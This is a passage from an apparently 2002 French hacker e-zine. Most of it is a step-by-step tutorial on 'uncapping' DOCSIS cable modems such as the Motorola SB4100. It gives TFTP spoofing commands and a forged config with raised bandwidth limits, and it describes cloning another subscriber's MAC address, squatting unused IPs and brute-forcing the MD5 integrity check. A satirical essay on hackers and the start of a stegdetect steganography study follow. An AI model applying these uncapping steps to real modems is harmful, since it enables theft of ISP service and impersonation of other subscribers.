se refere a plusieurs sources anonymes, c'est quand meme possible sur certains modems Motorola grace a ce qui pourrait etre décrit comme un bug. Pourquoi est ce vraiment possible? Lors du developpement du firmware d'un modem cable il est tres tentant (et souvent nécéssaire) d'autoriser le MC a booter sans que la partie cable soit connectée. Cela permet de debugguer certains cas de figure qui ne seraient ni possibles ni pratiques a reproduire en laboratoire. Il en découle que tous les MC a un moment de leur cycle de développement ont cette caractéristique de pouvoir démarrer (et lire le fichier de config) depuis le coté ethernet. Ceci n'étant évidemment pas une option volontairement ajoutée dans la version du firmware livrée avec. Les constructeurs utilisent différentes méthodes pour basculer du mode debug en mode commercialisation du firmware. Une approche consiste a avoir le mode debug présent dans le firmware et d'en bloquer l'acces lors de la mise en circulation. Il peut s'agir d'une valeur spéciale dans la mémoire non volatile comme d'un jumper, d'un short sur la carte logique du modem, d'une resistance 0R supprimée lors de la mise en circulation, ou bien d'une autre méthode propriétaire pouvant changer selon le modele du MC. Une autre approche est d'avoir deux versions différentes du firmware, l'une avec et le mode debug et l'autre sans. Souvent les deux versions sont compilées a partir de meme code source avec des variations sur les commutateur de compilation du build. Si par un moyen ou par un autre un utilisateur arrive a basculer en mode debug ou utilise un bug et obtient le meme résultat, alors cette méthode de déplombage a un fort taux de probabilité de réussite sur la plupart des MC. Les auteurs du projet DOCSIS (disponible au supermarché de l'open source) décrivent la situation comme suit : "La méthode la plus connue pour faire sauter les limitations d'un modem de type Docsis consiste a duper le modem afin de lui faire downloader le fichier de configuration a partir du port ethernet, exploitant ainsi l'avantage que certains FAI n'activent pas le controle d'authentification (Message Integrity Check) au niveau du modem. Il y a au moins une marque connue sur laquelle ceci a été prouvé mais la réalité est que beaucoup d'autres marques seraient également perméables a cette méthode." Tous (ou presque tous) les modems sont équipés d'un shell pour des raisons de debuggage. Il s'agit typiquement d'une interface par ligne de commande a laquelle on peut se connecter en utilisant un modem ou un terminal série. Certains modems ont meme un serveur http qui permet d'accéder a certains parametres via le browser. On trouve habituellement deux ou trois versions du shell. La premiere (web based) est prévue pour les utilisateurs finaux. Les techniciens du cable peuvent avoir acces a des données plus détaillées durant les manipulations d'installation, mais restent totalement incapables de modifier les parametres DOCSIS. Lors du développement du firmware, les ingénieurs auront un controle total sur tous les parametres internes du modem cable par le shell. La version distribuée du modem ne sera alors pas autorisée a accepter des commandes qui peuvent influencer les parametres DOCSIS, alors que la version debug utilisée par les ingénieurs (en laboratoire) n'aura pas ces limitations. Shell Actif *********** La méthode de déplombage qui consiste a utiliser une version avec le shell activé part du principe qu'on arrive a se procurer ce firmware afin d'aller modifier certains parametres comme la classe du service (upstream, cap, etc), le numero de serie et l'adresse MAC du modem (vol d'adresse a un autre user), et le blocage de la mise a jour automatique du firmware (chose que le FAI peut modifier a volonté par simple remplacement de fichier sur le serveur TFTP en changeant la valeur de l'entree "Software Upgrade Filename" dans le fichier de config). Comment se procurer ce firmware ? A priori il existe tres peu de docs qui expliquent comment y arriver, mais ca n'est pas dans cet article que ca sera expliqué (et encore moins dans une agence de recrutement hehe). Au lieu de ca on peut se concentrer sur la possibilité de faire basculer le shell en mode debug en utilisant des methodes tres proches de celle qu'utilise le FAI plutot que de partir a la chasse d'individus travaillant ou ayant été virés par un des distributeurs des modem cables. La fuite pourrait prendre la forme d'un fichier binaire utilisable pour flasher le modem. Le modem cable n'est pas autorisé a recevoir de mises a jour du coté ethernet, sauf durant le développement du firmware, il est donc possible (mais peu probable) dans certains cas de pouvoir y arriver outre mesure. Avec le bon equipement, le périphérique flashable peut etre extrait de la carte mere du modem, lu, reprogrammé, et remis en place. Cela correspond exactement a un des exercices auquel les ingénieurs s'affairent dans le cadre de tests de corruption de la mémoire flash. Fausse MAC ********** La méthode de déplombage qui consiste a produire une fausse adresse MAC sur la partie cable du modem (et souvent aussi le numéro de série) est également un vol de services, mais comme deux MC seront en ligne avec la meme adresse MAC, l'un des deux se fera déconnecter et logguera l'erreur, et consécutivement le FAI aura connaissance de l'evenement. Comment un utilisateur peut il changer l'adresse MAC du coté cable ? Une methode est d'utiliser la version debug du firmware avec le shell actif comme décrit plus haut, une autre méthode serait d'extraire le périphérique flashable de la carte logique du modem et de la reprogrammer. Ceci réclame pas mal d'équipement, mais meme un electronicien débutant peut le faire. Presque tous les modems ont pu avoir leur adresse MAC parametrable a un moment de leur cycle de production. Avec un ICT (In-Circuit Tester) équipé d'un socle spécifique au modele du modem cable, au travers du shell (avant la désactivation a l'usine) ou une autre approche. Ici la clé est que le nombre de périphériques ou fouiller est assez restreint (flash ou eeprom). Trouver l'adresse MAC dans le contenu du périphérique de stockage est aussi une opération assez simple, d'autant plus que l'adresse MAC est aussi généralement imprimée sur un autocollant ou sur une plaque a l'arriere du modem. Collectionneur d'IP ******************* La méthode de déplombage de l'accumulation d'IP repose sur l'idée que certains FAI ne valident pas les IP sur les routeurs mais limitent la bande passante sur la base de l'IP. Si un utilisateur trouve des IP inutilisées (ou s'amuse a les nuker), il devient possible d'utiliser leurs IP et leur bande passante sans avoir a se soucier de DHCP et des limites de bande passante qu'il peut transmettre. Il ne s'agit pas vraiment de déplombage mais l'effet est le meme. Une facon d'imposer leur plombage (pour les modems DOCSIS) sur les petits utilisateurs est de parametrer le fichier de config pour que le modem gere lui meme sa bande passante en upload. A l'aide d'un service d'aggrégation (ex : Nortel Shasta, Redback Networks ou Cisco), la bande passante peut aussi etre limitée au niveau du routeur. Cela peut etre effectué en définissant des tunnels (PPPoE ou similaire) pour chaque modem cable au travers du routeur, et d'appliquer le plombage de la bande passante individuellement sur chaque tunnel. Cette methode ne fonctionne que chez les FAI qui utilisent l'approche du routeur dans un but limitatif pour le traffic. 4) Cas Pratique --------------- Le Motorola SB4100 ****************** Le fichier de config est un fichier binaire dans un format bien spécifié (comme par exemple le md5 eh eh eh) qui ne peut etre édité qu'avec un éditeur spécial de configuration (en distribution dans la grande surface de l'open source). Il est évident que ce logiciel n'est pas destiné au public, mais il a le grand mérite de ne rien contenir d'illégal. http://docsis.sourceforge.net et http://sourceforge.net/projects/docsis pour les dernieres nouvelles sur ce logiciel et la version en cours. Ce logiciel requiert d'avoir la derniere version de ucd/net-snmp (http://www.net-snmp.org). Pour zindoz il existe un programme qui s'appelle QUERY.EXE, c'est un logiciel de requete de paquet BOOTP, et qui livrera tous les précieux renseignements nécéssaires pour appliquer une des méthodes décrites plus bas, comme le nom de l'image et l'adresse du serveur TFTP (qui sont tout ce dont on a besoin comme point de départ dans cette étude). http://www.weird-solutions.com/_bin/bootpq.exe Le fichier binaire est encrypté avec une clé MD5 avant de transmettre au modem des parametres de configuration comme le MaxRateDown et le MaxRateUp (en Kbps). L'outil BOOTP QUERY aura besoin de l'adresse MAC du modem (au dos sur une étiquette). D'apres un article vu dans un forum "Ca marche sur les modems Motorola Surfboard (docsis) et ca marchera probablement aussi sur les autres modeles docsis". On a donc mené notre petite enquete et voici une procédure qui fonctionne quand le SB4100 est relié directement a la machine : Il faut Télécharger et installer un serveur tftp http://ftp.us.debian.org/debian/pool/main/n/netkit-tftp/ http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/ http://www.walusoft.co.uk/tftp.htm Puis s'assurer que l'application est installée en mode SERVEUR et non en mode CLIENT. Visiter l'adresse http://192.168.100.1/address.html pour voir les infos intéressantes qui s'y trouvent (comme l'adresse IP du serveur DHCP -> 6e colonne si ca marche). En cas d'échec il est possible de trouver ces infos dans les propriétés tcp/ip de la connexion en cours sur le PC relié au modem. Cela peut impliquer d'installer un outil de capture pour surveiller les paquets entrants et les envois/retours de requetes BOOTP et DHCP. Changer l'IP du PC et attribuer l'IP du serveur DHCP, avec comme masque de sous reseau 255.255.255.0, la passerelle par défaut sur la meme IP. Cela veut dire que la passerelle par défaut et l'adresse IP du PC seront la meme que celle du serveur DHCP et que le masque de sous réseau sera 255.255.255.0. Le port statique UDP pour TFTP est le port 69, mais la plupart des modem cable vont faire la requete du paquet sur le port 1025 UDP, il faut donc désactiver la sécurité a tout prix avant de modifier les infos de la connexion : Adresse IP : (l'adresse ip recuperee) Masque de sous-réseau: 255.255.255.0 Si ca ne marche pas retenter l'opération en mettant l'adresse de la Passerelle sur 192.168.100.1 Lancer le serveur TFTP (avec l'adresse IP dernierement attribuée manuellement en concordance avec celle du DHCP). Lancer un ping permanent sur la meme adresse IP (he oui toujours la meme) : ping xxx.xxx.xxx.xxx -t Attendre une quinzaine de réponses avant de passer a la suite (sans interrompre les ping). Débrancher le modem de __la prise de courant__. Attendre que le ping soit sans réponse et apres plusieurs "request timeout", rebrancher la prise de courant du modem. NE PAS INTERROMPRE LE PING PENDANT CETTE OPERATION. Observer ce qui se passe dans les logs du serveur TFTP pour savoir quel est le nom du fichier qui lui a été réclamé, le noter quelque part ;-) (ex : noosnetxyzu_1048.bin) La suite n'est possible que quand on possede une copie de son fichier de config DOCSIS, d'une version de debug d'usine ou d'une version forgée de la meme mouture. Pour plus d'infos sur comment extraire ce fichier de configuration et les données qui s'y trouvent, se référer a la méthode décrite sur le site suivant : http://www.surfboardhack.com Ce qu'ils n'expliquent pas c'est comment on y arrive manuellement sur gnu/linux: # tftp tftp get Received 'x' bytes in 0.0 seconds tftp quit # ./docsis -d ! extrait d'info provenant d'un fichier de config. Main { NetworkAccess 1; !Valeur 0 = bye bye l'internet ClassOfService { !Une config comme ca peut faire mal ClassID 5; MaxRateDown 2621440; ! ;-)))) MaxRateUp 393216; ! ;-)))) } MaxCPE 2; ! Combien de machines autorisées a avoir une IP sur ce modem 8ba1d8a612c718a44eeaf9198354eee4; CmtsMic 60937b8b4e92b336d87f9bf79e15db98; /* EndOfDataMarker */ Avec Windows c'est la meme chose : C:\tftp -i GET Prendre le fichier de configuration docsis et le renommer en accord avec le nom de fichier récupéré dans l'étape précédente (ex : noosnetxlz_819.bin) et le déposer dans le dossier de sortie du serveur TFTP (créer une arbo si nécéssaire). Lancer un ping permanent sur la meme adresse IP (he oui toujours la meme) : ping xxx.xxx.xxx.xxx -t Attendre une quinzaine de réponses avant de passer a la suite (sans interrompre les ping). Débrancher le modem de __la prise de courant__. Attendre que le ping soit sans réponse et apres plusieurs "request timeout", rebrancher la prise de courant du modem. NE PAS INTERROMPRE LE PING PENDANT CETTE OPERATION. Arreter le ping apres __deux réponses__ du PC Vérifier dans les logs du serveur TFTP que le fichier est bien parti. Rétablir les parametres initiaux de la connexion tcp/ip (en mode DHCP) et faire une demande de bail ( network restart, ipconfig /release, ipconfig /renew ). NOTE IMPORTANTE : si un firewall est installé, c'est la garantie absolue que la methode ne fonctionnera _pas_. Désactiver le firewall n'est pas suffisant, il faut le désinstaller du PC (ou brancher le modem sur une machine qui n'en a pas) le temps de l'opération. Evidemment on ne peut pas simplement uploader un fichier de config trouvé dans un forum ou forgé avec une boite a outils de bricol'girls. Le code d'authentification peut s'avérer nécéssaire pour décrypter le contenu des données du firmware, et ce meme code sert a vérifier si le fichier de config du firmware est bien l'original, tout au moins celui qu'ils ont déposé. Quand ca n'est pas le cas, le serveur dhcp va simplement effacer la ROM et uploader le sien. En final : les editeur de config DOCSIS font expres d'ignorer ce code d'authentification pour des raisons évidemment legales, et puis le brute force sur du MD5 a deja fait l'objet de pas mal de projets et articles ;-)) 5) Infos dans le desordre ------------------------- Etant donné le coté contradictoire de certaines informations il a été jugé plus utile de les livrer dans le désordre que d'essayer de s'en servir pour tisser quelque chose de cohérent. Sequence de boot **************** La séquence de boot est assez complexe, en voici une version simplifiée : || * Offline * || -Scan du canal de sortie. || -Réception du descripteur du canal d'entrée (UCD). || -Mesure du niveau tx et de la temporisation symbolique. || -DHCP pour obtenir l'adresse IP et la passerelle pour le MC. || -Utilisation de TFTP pour récuperer le fichier de config. _||_ -Démarrage et initialisation de la ligne privée (BPI). \ / -Réception de l'heure du jour (ToD). \/ * Online * Le modem va rechercher du canal de sortie en altérant les fréquences, d'abord en entrée, puis en sortie (coté modem). Une fois que le modem a trouvé les fréquences, il ajuste ses niveaux de puissance afin de pouvoir communiquer avec les routeurs et de pouvoir rechercher un DHCP. Une fois que le modem se fait allouer une IP il peut commencer a communiquer avec le serveur TFTP et recevoir le fichier de config. Ce fichier ne contient pas que les informations concernant la vitesse a laquelle le modem va etre plombé, il contient également des informations (toutes limitatives) concernant le nombre de péripheriques auquel le modem peut etre connecté, ainsi qu'une valeur permettant de désactiver le port console (quand il existe). Tout ceci se passe du coté cable de l'interface, avant meme que l'utilisateur connecté de l'autre coté ne puisse entreprendre quoique ce soit. Pour aider a comprendre ce qui se passe jusqu'a ce moment la de la mise en route,Cisco propose une description tres détaillee sur comment un technicien cable peut debugguer cette séquence complexe de boot entre les Modem cable et leurs routeurs uBR. http://www.cisco.com/warp/public/109/troubleshooting_cm_online.html Fichier de config ***************** Pour mieux comprendre le contenu de ce fichier de config, il faut se référer aux spécifications DOCSIS (voir annexe), ce qui nous intéresse dans cet article est le fichier de config DOCSIS qui contient les parametres du Modem Cable, ces parametres sont : -Downstream channel identification -Class of Service settings -Baseline Privacy settings -General operational settings -Network management information -Software upgrade fields -Filters -Vendor specific settings Fichier de log ************** Lors de la négociation de tous ces parametres, le modem loggue les étapes. Voici un extrait du fichier log du modem cable motorola SB4100, commencant en bas de la liste : 'BOOTING' (quand le modem s'allume) et finissant avec : 'Bridge Forwarding Enabled' (quand tout est effectué). Time Priority Code Message 020209063855 7-Information F502.1 Bridge Forwarding Enabled. 020209063855 7-Information F502.3 Bridge Learning Enabled. 020209063855 7-Information B518.0 Baseline Privacy is skipped 020209063855 7-Information I500.0 Registration Completed 020209063855 7-Information I0.0 REG-RSP Registration Response 020209063855 7-Information I0.0 REG-REQ Registration Request 020209063855 7-Information D509.0 Retrieved TFTP Config /DOCSIS/1500x300st-1 SUCCESS 020209063855 7-Information D507.0 Retrieved Time....... SUCCESS ************ 7-Information D511.0 Retrieved DHCP .......... SUCCESS ************ 5-Warning D520.2 DHCP Attempt# 1 BkOff: 4s Tot DSC:1 OFF:1 REQ:1 ACK:1 ************ 7-Information D0.0 DHCP CM Net Configuration download and Time of Day ************ 7-Information T500.0 Acquired Upstream .......... SUCCESS ************ 8-Debug T503.1 Acquire US with status OK, powerLevel 43, tempSid 3733 ************ 8-Debug T505.0 Acquired Upstream with status OK ************ 7-Information T501.0 Acquired Downstream (693000000 Hz)........ SUCCESS ************ 8-Debug T509.0 Acquired DS with status OK, DS Freq 693000000, US Id 3 ************ 7-Information I510.0 *** BOOTING *** SB4100-4.0.9-SCM07-NOSHELL Il est intéressant de noter la ligne : "Retrieved TFTP Config /DOCSIS/1500x300st-1 SUCCESS". Ceci est le fichier de configuration téléchargé depuis le FAI a chaque fois que le modem démarre. Dans ce cas de figure précis (FAI americain ATT) on peut deviner d'apres le nom du fichier que la vitesse de connexion est reglee sur 1500x300 en download/upload, ce qui correspond typiquement a la vitesse réellement obtenue dans ce cas de figure (cela peut varier selon les FAI). Données du signal ***************** Voici quelques informations sur le signal du modem cable en question, les valeurs peuvent varier selon l'abonnement : Entree Valeur Frequence 693000000 Hz Locked Ratio Signal/Bruit 31 dB QAM 64 Network Access Control Object ON Power Level -15 dBmV Sortie Valeur Channel ID 3 Frequence 38000055 Hz Ranged Ranging Service ID 3733 Symbol Rate 1.280 Msym/s Power Level 43 dBmV Diagnostics *********** De l'intérieur (une fois le modem connecté des deux cotés) on peut se livrer a quelques controles de base : nmap -sS -v 192.168.100.1 Starting nmap V. 2.54BETA33 ( www.insecure.org/nmap/ ) Host (192.168.100.1) appears to be up ... good. Initiating SYN Stealth Scan against (192.168.100.1) Adding open port 80/tcp Adding open port 513/tcp Adding open port 23/tcp The SYN Stealth Scan took 4 seconds to scan 1554 ports. Interesting ports on (192.168.100.1): (The 1551 ports scanned but not shown below are in state: closed) Port State Service 23/tcp open telnet 80/tcp open http 513/tcp open login Quand le modem est déconnecté du coté cable, on trouve également les ports suivants : 110/tcp open pop 25/tcp open smtp Empreinte d'un SB4100 ********************* Contenu de certaines valeurs se trouvant dans un fichier de config d'un SB4100 repeché dans un forum (et anonymisé pour l'article) : Item Value Serial Number xxxxxxxxxx0000xxxxxxx000 HFC IP Address x.x.x.x HFC MAC Address xx:xx:xx:xx:xx:xx Ethernet IP Address 192.168.100.1 Ethernet MAC Address xx:xx:xx:xx:xx:xx CM USB IP Address 192.168.100.1 CM USB MAC Address xx:xx:xx:xx:xx:xx CPE USB MAC Address xx:xx:xx:xx:xx:xx DHCP Server Address x.x.x.x DHCP Information Duration: 36369 s Time: -18000 # Known CPE MAC Address (Max 1) Status 1 xx:xx:xx:xx:xx:xx Learned 6) Annexe --------- ******************** * Quelques notions * ******************** Le MD5 : -------- Ca n'est pas une méthode de cryptage mais la création d'une valeur de hachage de données. Une opération de hachage consiste a calculer le résumé d'un texte en appliquant une formule aux valeurs de son contenu. Ce "résumé" est très sensible au texte initial, et meme une infime modification du texte peut provoquer une grande modification du "résumé". Les 2 algorithmes de hachage les plus utilisés sont le SHA (Secure Hash Algorithm) qui calcule un "résumé" de 160 bits, et le MD5, qui calcule un "résumé" de 128 bits. On sait donc qu'un hash MD5 c'est un nombre hexadecimal sur 32 caracteres, soit: 16^32 combinaisons ... (3,4028236692093846346337460743177e+38) On utilise généralement le md5 pour calculer le "résumé" d'un fichier, mais il est également utilisé pour stocker la valeur de hachage d'un mot de passe ou de toute autre information a caractere sensible qui prévaut dans les systemes d'authentification reposant sur la comparaison de deux valeurs hachées. Voici quelques liens utiles en rapport avec le md5 : http://linuxshell.free.fr/rfc/RFC%201321%20MD5.html (en francais) http://mathweb.free.fr/crypto/moderne/md5.php3 (en francais) http://www.rsasecurity.com/rsalabs/faq/3-6-6.html (en anglais) http://pajhome.org.uk/crypt/md5/index.html (en anglais) Il est facile de calculer un résumé, mais calculer le message a partir du résumé est tres difficile, et trouver deux messages ayant le meme résumé est aussi difficile. C'est ce qui fait la fiabilité de cet algo. Sachant que le calcul du résumé d'un message d'1Mo prend a peine une seconde, et bien qu'aucun algo de hachage ne soit 100% sécurisé, il faudrait a peu pres 2^128 opérations, et la collision devrait prendre a peu pres 2^64 opérations. Il n'existe pour le moment aucune autre approche d'inversion ou de collision. Une fonction injective est une fonction qui pour une valeur donnée donne un unique résultat. Donc si on hache une chaine donnée en MD5 on obtiendra toujours la même chose. Parce que MD5 est injective mais pas surjective. pour un code B MD5 donné, on peut avoir plusieurs A. Supposons la fonction f(x) = x*x On prend comme résultat B = 4 On ne peut pas connaitre le A avec certitude car "A=2" et "A=-2" sont deux valeurs possibles. De même en MD5 pour un code MD5 donné, on ne peut pas trouver la chaine initiale car plusieurs origines sont possibles. Un bon moyen de s'en rendre compte : Ensemble A : les Chaines de longueur quelconque : taille = infini Ensemble B : Les Chaines de longueur 32 : taille = très grand mais fini Donc comme toute chaine de l'ensemble A possède un code MD5 dans l'ensemble B, cela implique qu'un code de B possède plusieurs antécédents, et que certains d'entre eux (peut etre tous) ont même une infinité d'antécédents. Et bien qu'un ensemble infini qui se projette dans un ensemble fini donne nécéssairement des doublons, il est tres difficile d'arriver a produire ces doublons a moins d'avoir un certain nombre de siecles devant soi ;-)) Le brute-forcing : ------------------ C'est quoi au juste le brute-forcing ? C'est une procédure par laquelle le résultat désiré (par exemple trouver un mot de passe) est atteint au travers d'un cycle d'opérations, chacune d'elle aidant a évaluer le reste du chemin a parcourir avant d'avoir trouvé un résultat. Pour une meilleur compréhension voici un exemple : Supposons que le pass recherché est "abc", et que pour le trouver on ne doit utiliser que les lettres a, b, c et d. L'itération démarre avec a, continue avec b, puis c, puis d, puis commence avec des mots a deux lettrres, par aa, ab, ac, ad, jusqu'a dd, puis commence avec les mots a trois lettres, par aaa, aab, aac, aac, et stoppe quand le mot de passe "abc" est trouvé. Le TFTP : --------- TFTP est l'acronyme de "Trivial File Transfer Protocol". TFTP est un protocole de transfert de fichiers simple. Il a la particularité d'utiliser les protocoles UDP/IP. [Extrait du RFC 1350]: TFTP est un protocole basique de transfert de fichiers, et par conséquent est appelé "Trivial File Transfer Protocol" ou TFTP. Il a été implanté au dessus du protocole Internet UDP ("User Datagram Protocol") aussi peut il être utilisé pour déplacer des fichiers entre machines sur différents réseaux implantant UDP. (Ceci n'exclut pas la possibilité d'implémenter TFTP au dessus d'un autre protocole fournissant des datagrammes). Il est conçu pour être réduit et facile a implémenter. Il lui manque donc la plupart des fonctionnalités d'un FTP ordinaire. La seule chose qu'il peut réaliser est lire et écrire des fichiers (ou du courrier) depuis ou vers un serveur distant. Il ne peut pas afficher le contenu d'un répertoire, et actuellement l'authentification des utilisateurs n'est pas prévue. Comme les autres protocoles Internet, il travaille avec des données de longueur égale a 8 bits. http://abcdrfc.free.fr/rfc-vf/pdf/rfc1350.pdf http://abcdrfc.free.fr/rfc-vo/rfc1350.txt ********************** * Quelques acronymes * ********************** DOCSIS : Data Over Cable Service Interface Specifications En francais dans le texte : standard pour modem cable spécifiant le transfert de données a haut débit sur les réseaux cablés. TFTP : Trivial File Transfer Protocol Version tres simplifiée du FTP FAI : Fournisseur d'acces Internet Version compliquée du vautour moyen MC : Modem Cable ( = CM ) Interface indispensable a l'existence de cet article CMTS : Cable Modem Transmission System ( = routeur ) UCD : Upstream Channel Descriptor Descripteur du canal de sortie DCI : DownStream Channel Identification Descripteur du canal d'entrée BPI : Baseline Privacy Identification Identifiant de la ligne privée DHCP : Dynamic Host Control Protocol Protocole de controle pour hote dynamique *********** *Les liens* *********** Pour les White hats =================== Une explication sur le fonctionnement des modem cable : http://www.howstuffworks.com/cable-modem.htm Les spécificationd DOCSIS : http://www.gi.com/noflash/docsis.html http://www.cablemodem.com/documents.html http://www.ietf.org/proceedings/98mar/slides/ipcdn-fijolek/index.htm Le déplombage (uncapping) c'est quoi ? http://www.cable-modems.org/articles/uncapping/index.htm Le projet DOCSIS config reader : http://docsis.sourceforge.net http://sourceforge.net/projects/docsis Le projet DOCSDIAG config reader : http://homepage.ntlworld.com/robin.d.h.walker/docsdiag/ Comment dépanner un modem en ligne : http://www.cisco.com/warp/public/109/troubleshooting_cm_online.html TFTP (serveurs, clients et docs) : http://ftp.us.debian.org/debian/pool/main/n/netkit-tftp/ http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/ http://abcdrfc.free.fr/rfc-vf/pdf/rfc1350.pdf http://abcdrfc.free.fr/rfc-vo/rfc1350.txt http://www.walusoft.co.uk/tftp.htm Une pages de ressources sur les modem cable : http://rpcp.mit.edu/~gingold/cable/ http://www.catv.org/ Le hachage MD5 : http://linuxshell.free.fr/rfc/RFC%201321%20MD5.html http://www.rsasecurity.com/rsalabs/faq/3-6-6.html http://mathweb.free.fr/crypto/moderne/md5.php3 http://pajhome.org.uk/crypt/md5/index.html Pour les Black hats =================== Ils ont déplombé la SurfBoard Motorola : http://www.surfboardhack.com Un tutorial sur la SB4100 : http://www.wi2600.org/pipermail/2600/2001-October/008668.html Une archive de discussions sur les modem cable. http://www.cable-modems.org/Q&A/index.php?one_question=226 Les bulletins de sécurité concernant les modem cable : http://www.securiteam.com/securitynews/2WUQ1QAS0A.html http://online.securityfocus.com/news/394 Un logiciel pour tester les injections SNMP : http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/index.html Un logiciel de simulation de requete BOOTP pour DHCP http://www.weird-solutions.com/_bin/bootpq.exe Les documents disponibles sur votre SB4100 (online) : http://192.168.100.1/mainhelp.html http://192.168.100.1/side.html Les documents disponibles sur votre SB4100 (offline) : http://192.168.100.1/config.html http://192.168.100.1/signal.html http://192.168.100.1/startup.html http://192.168.100.1/address.html http://192.168.100.1/logsdata.html commentaires, suggestions, insultes .... écrivez nous ;-) tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ____________________________________ _ -9- `^°*;:,.> Binarité <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯Lansciac¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 7/9/2002 Alors que Perec apostrophe le e comme si le cinquieme colonnage était foncierement mauvais, d'autres perdurent dans la commémoration historique. Nous avons toujours le choix, le choix d'etre ou de ne pas, de parler ou de se taire, d'etre extra ou ordinaire. Nous cherchons bien des complications, des ramifications, des explications et tout ce que nous sommes en mesure de faire, de créer, d'imaginer, se constitue en un mouvement réglé avec la précision du grand horloger. Pourquoi tout ici rencontre son contraire, image blessante, repoussante qui mene en fait a tout point en ce que nous sommes. Ainsi, le zéro est un non-un et le un non point zéro. Quelle meilleure définition etes vous pret a apposer? Certaines lois de démonstration mathématique admettent l'existence de procédés absurdes pour réprouver le résultat apporté. Qu'est ce que cela sinon la seule démonstration, verbosité possible affirmant qu'une chose est tout sauf ce que l'on veut bien en dire. Ainsi portons nous quelques instants sur la nature réelle du réseau. Au dela des considérations techniques, de l'état de l'art comme les bien-pensants aiment a le savourer, la toile est d'apres des dandys un ramassis de cyber délinquants, jeunes écervelés, dealers de capitalisme alors qu'il ne se sont pas dûment acquittés des droits. Sauvageons déchirant votre pc, agrippant votre systeme, l'anéantissant, le mettant par la-meme hors d'état de sévir, vous risquez plus aujourd'hui en commutant votre modem qu'en mangeant exclusivement du nutella. Arnaqueurs a la carte de crédit, pernicieux, dérobant la suite arithmétique vénérée mais jamais cryptée. Seul Internet semble le sujet de ce cas, jamais ne trouvera telle infamie en présence de personnes affermies. Seuls soucis a l'apparté semblent les commerçants qui ne se soucient guere d'avec qui ils peuvent danser; que ce soit par un état des comptes auto générés par le paiement par carpe bleuté ou une suite par un algorithme validé, seul le cynisme et la diligence laissent afficher au bon peuple que jamais sur le oueb il ne faut tacheter car a ce jeu la, on se fait vite peinturlu-lurer. Tout PDG est droit selon l'image d'un patron, a l'identique, une grande partie d'Internet est déluré. Il ne faut a rien se fier, ne noter son mot de passe qu'en dessous de son clavier, ou au grand damne et au pire le cacher bien a l'intérieur d'un placard a clef fermé. Faites confiance a votre voisin, mais pas a votre prochain si vous ne voulez pas finir en maillon faible. La connaissance n'est valable que si elle est cachée, dissimulée; ne faites confiance a personne vous dis-je au risque d'y perdre votre virginité. Aucun n'a le droit de vous visiter, mais laissez vos portes grandes ouvertes, lancez des invitations, volez des propriétaires mais pensez a porter plainte de l'outrage reçu. Et encore, nous sommes loin de critiquer le grand vilain bug qui a pour jamais décidé illégale l'application que vous employez ou encore vous ordonne de vous mettre au sexe en changeant votre page d'accueil. Tout cela est de leur faute, ces hommes de l'ombre, ces malotrus. D'opératueur, ils sont enfin devenus capitalisable en ayant acces aux chiffres que par la joie d'une plaque d'imatriculation. A quand la peine de mort, la jonction de ce qu'ils demandent, l'anarchie. Ne gardant que les bons, éradiquons ces bandits, ceux qui nous polluent notre espace. Qu'enfin l'Informatique revienne a son but initial. Etre, accaparer, amasser, tout cela est a nous, rendez le nous notre Internet, notre zone d'approvisionnement gratuite de partage de numéros en séries, de films corporightés, de musiques tenant enfin dans la main, a défaut que les graves et les aigus de nos oreilles soient envolés. Qui fait quoi, ils sont tous payés pour faire cela, le service doit etre gratuit ou ne doit pas. Je veux, j'ordonne et j'exige. La loi c'est moi, apres tout, je suis bien l'état. Je condamne ces maudits, ces hackers, dans leurs faits mais surtout dans leurs pensées. Honnete citoyens, venez dénoncer, montrer, pendre, exposer ces gibiers. Tout est ce qu'il ne semble paraitre. Si gémir vaut bien maudir, travailler vaut bien voler. Seules blanches et noires sont les facettes, mais a y passer si vite, on peut jurer que tout n'est que nuance de gris. Question de repere, reste a savoir comment changer l'ampoule. Tout n'est que question de disparition, mais sans eux, jamais on ne fera plus d'omellette. lansciac@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ _____________________________________ _ -a- `^°*;:,.> Stegano Megalo <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯leonard¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 20/10/2002 Papier de recherche pratique sur stegdetect 0.5 [stegano] INTRODUCTION La steganographie est l'art de cacher des données dans d'autres. Ennemie #1 de bigbrother, la stéganographie est-elle une méthode sure et efficace pour vos données sensibles, ou peut-elle etre facilement detectée, identifiée et cassée ? Ce papier est une étude pratique de différents cas sur des images. Il sera utile a ceux qui souhaitent utiliser la stegano au mieux, et a ceux qui se demandent si internet est un repaire de pédophiles ou de méchants terroristes qui en veulent a votre grand-mere. mot clefs: steganography, jphide, stegdetect, stegbreak, wordlist, brute-force, jpeg, cryptography, statistical steganalysis. OUTIL STEG: JPHIDE 0.3 L'avantage de jphide and seek, codé par Allan Lathman, est triple. Il existe sous unix ET windows, il utilise un crypt blowfish pre-steg, et il n'utilise pas de table fixe pour insérer le matos dans le .jpg. Il n'y a pas de différence majeure entre JPHS 0.3 et 0.5 excepté que le 0.5 compresse les données avant de les crypter puis de les stegano. Comme le 0.5 n'est pas fourni sur la page de l'auteur, nous nous en tiendrons, question de parano, au 0.3. A noter que jphide refuse d'insérer un fichier de 2 Ko dans une image jpg de 10 Ko, par contre, il accepte de l'insérer dans 1.jpg de 40Ko. Autre decouverte au cours de recherches avec la fonction brute-force de stegdetect : jphide a un probleme au niveau des mots de passe. 